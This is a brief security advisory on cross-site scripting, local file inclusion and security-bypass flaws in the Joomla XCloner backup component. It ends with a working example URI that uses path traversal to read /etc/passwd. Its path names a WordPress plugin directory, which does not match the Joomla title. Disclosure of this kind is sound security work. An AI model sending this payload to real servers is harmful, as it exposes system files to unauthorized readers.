Discussion
Joomla XCloner Component 'com_xcloner-backupandrestore' Multiple Security Vulnerabilities
Joomla XCloner component is prone to multiple security vulnerabilities because it fails to properly sanitize user-supplied input. These vulnerabilities include multiple cross-site scripting vulnerabilities, multiple local file-include vulnerabilities and multiple security-bypass vulnerabilities.
An attacker can exploit these vulnerabilities to view and execute local files within the context of the webserver process, obtain potentially sensitive information, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, or bypass certain security restrictions to perform unauthorized actions. Other attacks are also possible.

Attackers can exploit these issues through a browser. To exploit the cross-site scripting issue, the attacker must entice an unsuspecting user to follow a malicious URI.
The following example URIs are available:
Local File Inclusion:
http://www.example.com/[path]/wp-content/plugins/xcloner-backup-and-restore/cloner.cron.php?config=../../../../../../../../etc/passwd
